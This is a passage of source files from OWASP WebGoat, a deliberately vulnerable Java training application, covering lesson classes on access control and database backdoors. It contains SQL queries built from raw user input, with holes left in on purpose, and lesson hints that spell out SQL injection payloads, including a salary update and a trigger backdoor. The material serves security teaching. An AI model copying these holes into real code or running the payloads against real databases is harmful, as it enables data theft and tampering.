{
return "Source code is not available. Contact " + s.getWebgoatContext().getFeedbackAddress();
}
return (source.replaceAll("(?s)" + START_SOURCE_SKIP + ".*" + END_SOURCE_SKIP,
"Code Section Deliberately Omitted"));
}
protected String getSolution(WebSession s)
{
String source = null;
int scr = s.getCurrentScreen();
Course course = s.getCourse();
if (s.isUser() || s.isChallenge())
{
AbstractLesson lesson = course.getLesson(s, scr, AbstractLesson.USER_ROLE);
if (lesson != null)
{
source = lesson.getSolution(s);
}
}
if (source == null)
{
return "Solution is not available. Contact " + s.getWebgoatContext().getFeedbackAddress();
}
return (source);
}
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @param response
* Description of the Parameter
* @exception IOException
* Description of the Exception
*/
protected void writeSource(String s, HttpServletResponse response) throws IOException
{
response.setContentType("text/html");
PrintWriter out = response.getWriter();
if (s == null)
{
s = new String();
}
out.print(s);
out.close();
}
}

890
main/project/JavaSource/org/owasp/webgoat/lessons/AbstractLesson.java Normal file
View File

@ -0,0 +1,890 @@
package org.owasp.webgoat.lessons;
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.StringReader;
import java.net.HttpURLConnection;
import java.net.URL;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.Body;
import org.apache.ecs.html.Form;
import org.apache.ecs.html.Head;
import org.apache.ecs.html.Html;
import org.apache.ecs.html.IMG;
import org.apache.ecs.html.PRE;
import org.apache.ecs.html.Title;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.Screen;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.session.WebgoatContext;
import org.owasp.webgoat.session.WebgoatProperties;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003
*/
public abstract class AbstractLesson extends Screen implements Comparable
{
/**
* Description of the Field
*/
public final static String ADMIN_ROLE = "admin";
public final static String CHALLENGE_ROLE = "challenge";
/**
* Description of the Field
*/
public final static String HACKED_ADMIN_ROLE = "hacked_admin";
/**
* Description of the Field
*/
public final static String USER_ROLE = "user";
private static int count = 1;
private Integer id = null;
final static IMG nextGrey = new IMG("images/right16.gif").setAlt("Next")
.setBorder(0).setHspace(0).setVspace(0);
final static IMG previousGrey = new IMG("images/left14.gif").setAlt(
"Previous").setBorder(0).setHspace(0).setVspace(0);
private Integer ranking;
private Category category;
private boolean hidden;
private String sourceFileName;
private String lessonPlanFileName;
private String lessonSolutionFileName;
private WebgoatContext webgoatContext;
/**
* Constructor for the Lesson object
*/
public AbstractLesson()
{
id = new Integer(++count);
}
public String getName()
{
String className = getClass().getName();
return className.substring(className.lastIndexOf('.') + 1);
}
public void setRanking(Integer ranking)
{
this.ranking = ranking;
}
public void setHidden(boolean hidden)
{
this.hidden = hidden;
}
public void update(WebgoatProperties properties)
{
String className = getClass().getName();
className = className.substring(className.lastIndexOf(".") + 1);
setRanking(new Integer(properties.getIntProperty("lesson." + className
+ ".ranking", getDefaultRanking().intValue())));
String categoryRankingKey = "category."
+ getDefaultCategory().getName() + ".ranking";
// System.out.println("Category ranking key: " + categoryRankingKey);
Category tempCategory = Category.getCategory(getDefaultCategory()
.getName());
tempCategory.setRanking(new Integer(properties.getIntProperty(
categoryRankingKey, getDefaultCategory().getRanking()
.intValue())));
category = tempCategory;
setHidden(properties.getBooleanProperty("lesson." + className
+ ".hidden", getDefaultHidden()));
// System.out.println(className + " in " + tempCategory.getName() + "
// (Category Ranking: " + tempCategory.getRanking() + " Lesson ranking:
// " + getRanking() + ", hidden:" + hidden +")");
}
public boolean isCompleted(WebSession s)
{
return getLessonTracker(s, this).getCompleted();
}
/**
* Gets the credits attribute of the AbstractLesson object
*
* @return The credits value
*/
public abstract Element getCredits();
/**
* Description of the Method
*
* @param obj
* Description of the Parameter
* @return Description of the Return Value
*/
public int compareTo(Object obj)
{
return this.getRanking().compareTo(((AbstractLesson) obj).getRanking());
}
/**
* Description of the Method
*
* @param obj
* Description of the Parameter
* @return Description of the Return Value
*/
public boolean equals(Object obj)
{
return this.getScreenId() == ((AbstractLesson) obj).getScreenId();
}
/**
* Gets the category attribute of the Lesson object
*
* @return The category value
*/
public Category getCategory()
{
return category;
}
protected abstract Integer getDefaultRanking();
protected abstract Category getDefaultCategory();
protected abstract boolean getDefaultHidden();
/**
* Gets the fileMethod attribute of the Lesson class
*
* @param reader
* Description of the Parameter
* @param methodName
* Description of the Parameter
* @param numbers
* Description of the Parameter
* @return The fileMethod value
*/
public static String getFileMethod(BufferedReader reader,
String methodName, boolean numbers)
{
int count = 0;
StringBuffer sb = new StringBuffer();
boolean echo = false;
boolean startCount = false;
int parenCount = 0;
try
{
String line;
while ((line = reader.readLine()) != null)
{
if ((line.indexOf(methodName) != -1)
&& ((line.indexOf("public") != -1)
|| (line.indexOf("protected") != -1) || (line
.indexOf("private") != -1)))
{
echo = true;
startCount = true;
}
if (echo && startCount)
{
if (numbers)
{
sb.append(pad(++count) + " ");
}
sb.append(line + "\n");
}
if (echo && (line.indexOf("{") != -1))
{
parenCount++;
}
if (echo && (line.indexOf("}") != -1))
{
parenCount--;
if (parenCount == 0)
{
startCount = false;
echo = false;
}
}
}
reader.close();
}
catch (Exception e)
{
System.out.println(e);
e.printStackTrace();
}
return (sb.toString());
}
/**
* Reads text from a file into an ElementContainer. Each line in the
* file is represented in the ElementContainer by a StringElement. Each
* StringElement is appended with a new-line character.
*
* @param reader
* Description of the Parameter
* @param numbers
* Description of the Parameter
* @return Description of the Return Value
*/
public static String readFromFile(BufferedReader reader, boolean numbers)
{
return (getFileText(reader, numbers));
}
/**
* Gets the fileText attribute of the Screen class
*
* @param reader
* Description of the Parameter
* @param numbers
* Description of the Parameter
* @return The fileText value
*/
public static String getFileText(BufferedReader reader, boolean numbers)
{
int count = 0;
StringBuffer sb = new StringBuffer();
try
{
String line;
while ((line = reader.readLine()) != null)
{
if (numbers)
{
sb.append(pad(++count) + " ");
}
sb.append(line + System.getProperty("line.separator"));
}
reader.close();
}
catch (Exception e)
{
System.out.println(e);
e.printStackTrace();
}
return (sb.toString());
}
/**
* Will this screen be included in an enterprise edition.
*
* @return The ranking value
*/
public boolean isEnterprise()
{
return false;
}
/**
* Gets the hintCount attribute of the Lesson object
* @param s The user's WebSession
*
* @return The hintCount value
*/
public int getHintCount(WebSession s)
{
return getHints(s).size();
}
protected abstract List<String> getHints(WebSession s);
/**
* Fill in a minor hint that will help people who basically get it, but
* are stuck on somthing silly.
* @param s The users WebSession
*
* @return The hint1 value
*/
public String getHint(WebSession s, int hintNumber)
{
return getHints(s).get(hintNumber);
}
/**
* Gets the instructions attribute of the AbstractLesson object
*
* @return The instructions value
*/
public abstract String getInstructions(WebSession s);
/**
* Gets the lessonPlan attribute of the Lesson object
*
* @return The lessonPlan value
*/
protected String getLessonName()
{
int index = this.getClass().getName().indexOf("lessons.");
return this.getClass().getName().substring(index + "lessons.".length());
}
/**
* Gets the title attribute of the HelloScreen object
*
* @return The title value
*/
public abstract String getTitle();
/**
* Gets the content of lessonPlanURL
*
* @param s
* The user's WebSession
*
* @return The HTML content of the current lesson plan
*/
public String getLessonPlan(WebSession s)
{
String src = null;
try
{
// System.out.println("Loading lesson plan file: " +
// getLessonPlanFileName());
src = readFromFile(new BufferedReader(new FileReader(s
.getWebResource(getLessonPlanFileName()))), false);
}
catch (Exception e)
{
// s.setMessage( "Could not find lesson plan for " +
// getLessonName());
src = ("Could not find lesson plan for: " + getLessonName());
}
return src;
}
/**
* Gets the ranking attribute of the Lesson object
*
* @return The ranking value
*/
public Integer getRanking()
{
if (ranking != null)
{
return ranking;
}
else
{
return getDefaultRanking();
}
}
/**
* Gets the hidden value of the Lesson Object
*
* @return The hidden value
*/
public boolean getHidden()
{
return this.hidden;
}
/**
* Gets the role attribute of the AbstractLesson object
*
* @return The role value
*/
public String getRole()
{
// FIXME: Each lesson should have a role assigned to it. Each
// user/student
// should also have a role(s) assigned. The user would only be allowed
// to see lessons that correspond to their role. Eventually these roles
// will be stored in the internal database. The user will be able to
// hack
// into the database and change their role. This will allow the user to
// see the admin screens, once they figure out how to turn the admin
// switch on.
return USER_ROLE;
}
/**
* Gets the uniqueID attribute of the AbstractLesson object
*
* @return The uniqueID value
*/
public int getScreenId()
{
return id.intValue();
}
public String getHtml_DELETE_ME(WebSession s)
{
String html = null;
// FIXME: This doesn't work for the labs since they do not implement
// createContent().
String rawHtml = createContent(s).toString();
// System.out.println("Getting raw html content: " +
// rawHtml.substring(0, Math.min(rawHtml.length(), 100)));
html = convertMetachars(AbstractLesson.readFromFile(new BufferedReader(
new StringReader(rawHtml)), true));
// System.out.println("Getting encoded html content: " +
// html.substring(0, Math.min(html.length(), 100)));
return html;
}
public String getSource(WebSession s)
{
String source = null;
String src = null;
try
{
// System.out.println("Loading source file: " +
// getSourceFileName());
src = convertMetacharsJavaCode(readFromFile(new BufferedReader(
new FileReader(s.getWebResource(getSourceFileName()))),
true));
// TODO: For styled line numbers and better memory efficiency,
// use a custom FilterReader
// that performs the convertMetacharsJavaCode() transform plus
// optionally adds a styled
// line number. Wouldn't color syntax be great too?
}
catch (IOException e)
{
s.setMessage("Could not find source file");
src = ("Could not find source file");
}
Html html = new Html();
Head head = new Head();
head.addElement(new Title(getSourceFileName()));
Body body = new Body();
body.addElement(new StringElement(src));
html.addElement(head);
html.addElement(body);
source = html.toString();
return source;
}
public String getSolution(WebSession s)
{
String src = null;
try
{
src = readFromFile(new BufferedReader(
new FileReader(s.getWebResource(getLessonSolutionFileName()))),
false);
}
catch (IOException e)
{
s.setMessage("Could not find the solution file");
src = ("Could not find the solution file");
}
Html html = new Html();
Head head = new Head();
head.addElement(new Title(getLessonSolutionFileName()));
Body body = new Body();
body.addElement(new StringElement(src));
html.addElement(head);
html.addElement(body);
return src;
}
/**
* Get the link that can be used to request this screen.
*
* @return
*/
public String getLink()
{
StringBuffer link = new StringBuffer();
link.append("attack?");
link.append(WebSession.SCREEN);
link.append("=");
link.append(getScreenId());
link.append("&");
link.append(WebSession.MENU);
link.append("=");
link.append(getCategory().getRanking());
return link.toString();
}
/**
* Get the link to the jsp page used to render this screen.
*
* @return
*/
public String getPage(WebSession s)
{
return null;
}
/**
* Get the link to the jsp template page used to render this screen.
*
* @return
*/
public String getTemplatePage(WebSession s)
{
return null;
}
public abstract String getCurrentAction(WebSession s);
public abstract void setCurrentAction(WebSession s, String lessonScreen);
/**
* Override this method to implement accesss control in a lesson.
*
* @param s
* @param functionId
* @return
*/
public boolean isAuthorized(WebSession s, int employeeId, String functionId)
{
return false;
}
/**
* Override this method to implement accesss control in a lesson.
*
* @param s
* @param functionId
* @return
*/
public boolean isAuthorized(WebSession s, String role, String functionId)
{
boolean authorized = false;
try
{
String query = "SELECT * FROM auth WHERE role = '" + role
+ "' and functionid = '" + functionId + "'";
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
authorized = answer_results.first();
}
catch (SQLException sqle)
{
s.setMessage("Error authorizing");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error authorizing");
e.printStackTrace();
}
return authorized;
}
public int getUserId(WebSession s) throws ParameterNotFoundException
{
return -1;
}
public String getUserName(WebSession s) throws ParameterNotFoundException
{
return null;
}
/**
* Description of the Method
*
* @param windowName
* Description of the Parameter
* @return Description of the Return Value
*/
public static String makeWindowScript(String windowName)
{
// FIXME: make this string static
StringBuffer script = new StringBuffer();
script.append("<script language=\"JavaScript\">\n");
script.append(" <!--\n");
script.append(" function makeWindow(url) {\n");
script.append("\n");
script.append(" agent = navigator.userAgent;\n");
script.append("\n");
script.append(" params = \"\";\n");
script.append(" params += \"toolbar=0,\";\n");
script.append(" params += \"location=0,\";\n");
script.append(" params += \"directories=0,\";\n");
script.append(" params += \"status=0,\";\n");
script.append(" params += \"menubar=0,\";\n");
script.append(" params += \"scrollbars=1,\";\n");
script.append(" params += \"resizable=1,\";\n");
script.append(" params += \"width=500,\";\n");
script.append(" params += \"height=350\";\n");
script.append("\n");
script.append(" // close the window to vary the window size\n");
script
.append(" if (typeof(win) == \"object\" && !win.closed){\n");
script.append(" win.close();\n");
script.append(" }\n");
script.append("\n");
script.append(" win = window.open(url, '" + windowName
+ "' , params);\n");
script.append("\n");
script.append(" // bring the window to the front\n");
script.append(" win.focus();\n");
script.append(" }\n");
script.append(" //-->\n");
script.append(" </script>\n");
return script.toString();
}
/**
* Simply reads a url into an Element for display. CAUTION: you might
* want to tinker with any non-https links (href)
*
* @param url
* Description of the Parameter
* @return Description of the Return Value
*/
public static Element readFromURL(String url)
{
ElementContainer ec = new ElementContainer();
try
{
URL u = new URL(url);
HttpURLConnection huc = (HttpURLConnection) u.openConnection();
BufferedReader reader = new BufferedReader(new InputStreamReader(
huc.getInputStream()));
String line;
while ((line = reader.readLine()) != null)
{
ec.addElement(new StringElement(line));
}
reader.close();
}
catch (Exception e)
{
System.out.println(e);
e.printStackTrace();
}
return (ec);
}
/**
* Description of the Method
*
* @param reader
* Description of the Parameter
* @param numbers
* Description of the Parameter
* @param methodName
* Description of the Parameter
* @return Description of the Return Value
*/
public static Element readMethodFromFile(BufferedReader reader,
String methodName, boolean numbers)
{
PRE pre = new PRE().addElement(getFileMethod(reader, methodName,
numbers));
return (pre);
}
/**
* Description of the Method
*
* @param s
* Description of the Parameter
*/
public void handleRequest(WebSession s)
{
// call createContent first so messages will go somewhere
Form form = new Form(getFormAction(), Form.POST).setName("form")
.setEncType("");
form.addElement(createContent(s));
setContent(form);
}
public String getFormAction()
{
return getLink();
}
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
public String toString()
{
return getTitle();
}
public String getLessonPlanFileName()
{
return lessonPlanFileName;
}
public void setLessonPlanFileName(String lessonPlanFileName)
{
this.lessonPlanFileName = lessonPlanFileName;
}
public String getLessonSolutionFileName()
{
return lessonSolutionFileName;
}
public void setLessonSolutionFileName(String lessonSolutionFileName)
{
this.lessonSolutionFileName = lessonSolutionFileName;
}
public String getSourceFileName()
{
return sourceFileName;
}
public void setSourceFileName(String sourceFileName)
{
// System.out.println("Setting source file of lesson " + this + " to: "
// + sourceFileName);
this.sourceFileName = sourceFileName;
}
public WebgoatContext getWebgoatContext() {
return webgoatContext;
}
public void setWebgoatContext(WebgoatContext webgoatContext) {
this.webgoatContext = webgoatContext;
}
}

284
main/project/JavaSource/org/owasp/webgoat/lessons/AccessControlMatrix.java Normal file
View File

@ -0,0 +1,284 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A;
import org.apache.ecs.html.IMG;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
* @created October 28, 2003
*/
public class AccessControlMatrix extends LessonAdapter
{
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
private final static String RESOURCE = "Resource";
private final static String USER = "User";
private final static String[] resources = { "Public Share",
"Time Card Entry", "Performance Review", "Time Card Approval",
"Site Manager", "Account Manager" };
private final static String[] roles = { "Public", "User", "Manager",
"Admin" };
private final static String[] users = { "Moe", "Larry", "Curly", "Shemp" };
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
try
{
String user = s.getParser().getRawParameter(USER, users[0]);
String resource = s.getParser().getRawParameter(RESOURCE, resources[0]);
String credentials = getRoles(user).toString();
Table t = new Table().setCellSpacing(0).setCellPadding(2)
.setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor())
{
t.setBorder(1);
}
TR tr = new TR();
tr.addElement(new TD().addElement("Change user:"));
tr.addElement(new TD().addElement(ECSFactory.makePulldown(USER, users, user, 1)));
t.addElement(tr);
// These two lines would allow the user to select the resource from a list
// Didn't seem right to me so I made them type it in.
// ec.addElement( new P().addElement( "Choose a resource:" ) );
// ec.addElement( ECSFactory.makePulldown( RESOURCE, resources, resource, 1 ) );
tr = new TR();
tr.addElement(new TD().addElement("Select resource: "));
tr.addElement(new TD().addElement(ECSFactory.makePulldown(RESOURCE, resources, resource, 1)));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD("&nbsp;").setColSpan(2).setAlign("center"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD(ECSFactory.makeButton("Check Access")).setColSpan(2).setAlign("center"));
t.addElement(tr);
ec.addElement(t);
if (isAllowed(user, resource))
{
if (!getRoles(user).contains("Admin")
&& resource.equals("Account Manager"))
{
makeSuccess(s);
}
s.setMessage("User " + user + " " + credentials
+ " was allowed to access resource " + resource);
}
else
{
s.setMessage("User " + user + " " + credentials
+ " did not have privilege to access resource "
+ resource);
}
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
/**
* Gets the category attribute of the RoleBasedAccessControl object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.ACCESS_CONTROL;
}
/**
* Gets the hints attribute of the RoleBasedAccessControl object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("Many sites attempt to restrict access to resources by role.");
hints.add("Developers frequently make mistakes implementing this scheme.");
hints.add("Attempt combinations of users, roles, and resources.");
return hints;
}
private final static Integer DEFAULT_RANKING = new Integer(10);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the resources attribute of the RoleBasedAccessControl object
*
* @param rl Description of the Parameter
* @return The resources value
*/
private List getResources(List rl)
{
// return the resources allowed for these roles
ArrayList<String> list = new ArrayList<String>();
if (rl.contains(roles[0]))
{
list.add(resources[0]);
}
if (rl.contains(roles[1]))
{
list.add(resources[1]);
list.add(resources[5]);
}
if (rl.contains(roles[2]))
{
list.add(resources[2]);
list.add(resources[3]);
}
if (rl.contains(roles[3]))
{
list.add(resources[4]);
list.add(resources[5]);
}
return list;
}
/**
* Gets the role attribute of the RoleBasedAccessControl object
*
* @param user Description of the Parameter
* @return The role value
*/
private List getRoles(String user)
{
ArrayList<String> list = new ArrayList<String>();
if (user.equals(users[0]))
{
list.add(roles[0]);
}
else if (user.equals(users[1]))
{
list.add(roles[1]);
list.add(roles[2]);
}
else if (user.equals(users[2]))
{
list.add(roles[0]);
list.add(roles[2]);
}
else if (user.equals(users[3]))
{
list.add(roles[3]);
}
return list;
}
/**
* Gets the title attribute of the AccessControlScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Using an Access Control Matrix");
}
// private final static ArrayList userList = new ArrayList(Arrays.asList(users));
// private final static ArrayList resourceList = new ArrayList(Arrays.asList(resources));
// private final static ArrayList roleList = new ArrayList(Arrays.asList(roles));
/**
* Please do not ever implement an access control scheme this way! But it's not the worst I've
* seen.
*
* @param user Description of the Parameter
* @param resource Description of the Parameter
* @return The allowed value
*/
private boolean isAllowed(String user, String resource)
{
List roles = getRoles(user);
List resources = getResources(roles);
return (resources.contains(resource));
}
public Element getCredits()
{
return super.getCustomCredits("", ASPECT_LOGO);
}
}

270
main/project/JavaSource/org/owasp/webgoat/lessons/BackDoors.java Normal file
View File

@ -0,0 +1,270 @@
package org.owasp.webgoat.lessons;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.BR;
import org.apache.ecs.html.Div;
import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.PRE;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TH;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian
* Technologies.</a>
*/
public class BackDoors extends SequentialLessonAdapter
{
private final static Integer DEFAULT_RANKING = new Integer(80);
private final static String USERNAME = "username";
private final static String SELECT_ST = "select userid, password, ssn, salary, email from employee where userid=";
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt(
"Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0);
protected Element createContent(WebSession s)
{
return super.createStagedContent(s);
}
protected Element doStage1(WebSession s) throws Exception
{
return concept1(s);
}
protected Element doStage2(WebSession s) throws Exception
{
return concept2(s);
}
protected Element concept1(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();
ec.addElement(makeUsername(s));
try
{
String userInput = s.getParser().getRawParameter(USERNAME, "");
if (!userInput.equals(""))
{
userInput = SELECT_ST + userInput;
String[] arrSQL = userInput.split(";");
Connection conn = DatabaseUtilities.getConnection(s);
Statement statement = conn.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
if (arrSQL.length == 2)
{
statement.executeUpdate(arrSQL[1]);
getLessonTracker(s).setStage(2);
s.setMessage("You have succeeded in exploiting the vulnerable query and created another SQL statement. Now move to stage 2 to learn how to create a backdoor or a DB worm");
}
ResultSet rs = statement.executeQuery(arrSQL[0]);
if (rs.next())
{
Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(1);
TR tr = new TR();
tr.addElement(new TH("User ID"));
tr.addElement(new TH("Password"));
tr.addElement(new TH("SSN"));
tr.addElement(new TH("Salary"));
tr.addElement(new TH("E-Mail"));
t.addElement(tr);
while (rs.next())
{
tr = new TR();
tr.addElement(new TD(rs.getString("userid")));
tr.addElement(new TD(rs.getString("password")));
tr.addElement(new TD(rs.getString("ssn")));
tr.addElement(new TD(rs.getString("salary")));
tr.addElement(new TD(rs.getString("email")));
t.addElement(tr);
}
ec.addElement(t);
}
}
}
catch (Exception ex)
{
ec.addElement(new PRE(ex.getMessage()));
}
return ec;
}
protected Element concept2(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();
ec.addElement(makeUsername(s));
String userInput = s.getParser().getRawParameter(USERNAME, "");
if (!userInput.equals(""))
{
String[] arrSQL = userInput.split(";");
if (arrSQL.length == 2)
{
if (userInput.toUpperCase().indexOf("CREATE TRIGGER") != 0)
{
makeSuccess(s);
}
}
}
return ec;
}
public String getInstructions(WebSession s)
{
String instructions = "";
if (!getLessonTracker(s).getCompleted())
{
switch (getStage(s))
{
case 1:
instructions = "Stage " + getStage(s)
+ ": Use String SQL Injection to execute more than one SQL Statement. ";
instructions = instructions
+ " The first stage of this lesson is to teach you how to use a vulnerable field to create two SQL ";
instructions = instructions
+ " statements. The first is the system's while the second is totally yours.";
instructions = instructions
+ " Your account ID is 101. This page allows you to see your password, ssn and salary.";
instructions = instructions
+ " Try to inject another update to update salary to something higher";
break;
case 2:
instructions = "Stage " + getStage(s)
+ ": Use String SQL Injection to inject a backdoor. ";
instructions = instructions
+ " The second stage of this lesson is to teach you how to use a vulneable fields to inject the DB work or the backdoor.";
instructions = instructions
+ " Now try to use the same technique to inject a trigger that would act as ";
instructions = instructions + " SQL backdoor, the syntax of a trigger is: <br>";
instructions = instructions
+ " CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid<br>";
instructions = instructions
+ " Note that nothing will actually be executed because the current underlying DB doesn't support triggers.";
break;
}
}
return instructions;
}
protected Element makeUsername(WebSession s)
{
ElementContainer ec = new ElementContainer();
StringBuffer script = new StringBuffer();
script.append("<STYLE TYPE=\"text/css\"> ");
script.append(".blocklabel { margin-top: 8pt; }");
script.append(".myClass { color:red;");
script.append(" font-weight: bold;");
script.append("padding-left: 1px;");
script.append("padding-right: 1px;");
script.append("background: #DDDDDD;");
script.append("border: thin black solid; }");
script.append("LI { margin-top: 10pt; }");
script.append("</STYLE>");
ec.addElement(new StringElement(script.toString()));
ec.addElement(new StringElement("User ID: "));
Input username = new Input(Input.TEXT, "username", "");
ec.addElement(username);
String userInput = s.getParser().getRawParameter("username", "");
ec.addElement(new BR());
ec.addElement(new BR());
String formattedInput = "<span class='myClass'>" + userInput + "</span>";
ec.addElement(new Div(SELECT_ST + formattedInput));
Input b = new Input();
b.setName("Submit");
b.setType(Input.SUBMIT);
b.setValue("Submit");
ec.addElement(new PRE(b));
return ec;
}
public Element getCredits()
{
return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
}
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("Your user id is 101. Use it to see your information");
hints.add("A semi-colon usually ends a SQL statement and starts a new one.");
hints.add("Try this 101 or 1=1; update employee set salary=100000");
hints.add("For stage 2, Try 101; CREATE TRIGGER myBackDoor BEFORE INSERT ON " +
"employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid");
return hints;
}
protected Category getDefaultCategory()
{
return Category.INJECTION;
}
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
public String getTitle()
{
return ("Database Backdoors ");
}
}

331
main/project/JavaSource/org/owasp/webgoat/lessons/BasicAuthentication.java Normal file
View File

@ -0,0 +1,331 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.P;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003
*/
public class BasicAuthentication extends SequentialLessonAdapter
{
private static final String EMPTY_STRING = "";
private static final String WEBGOAT_BASIC = "webgoat_basic";
private static final String AUTHORIZATION = "Authorization";
private static final String ORIGINAL_AUTH = "Original_Auth";
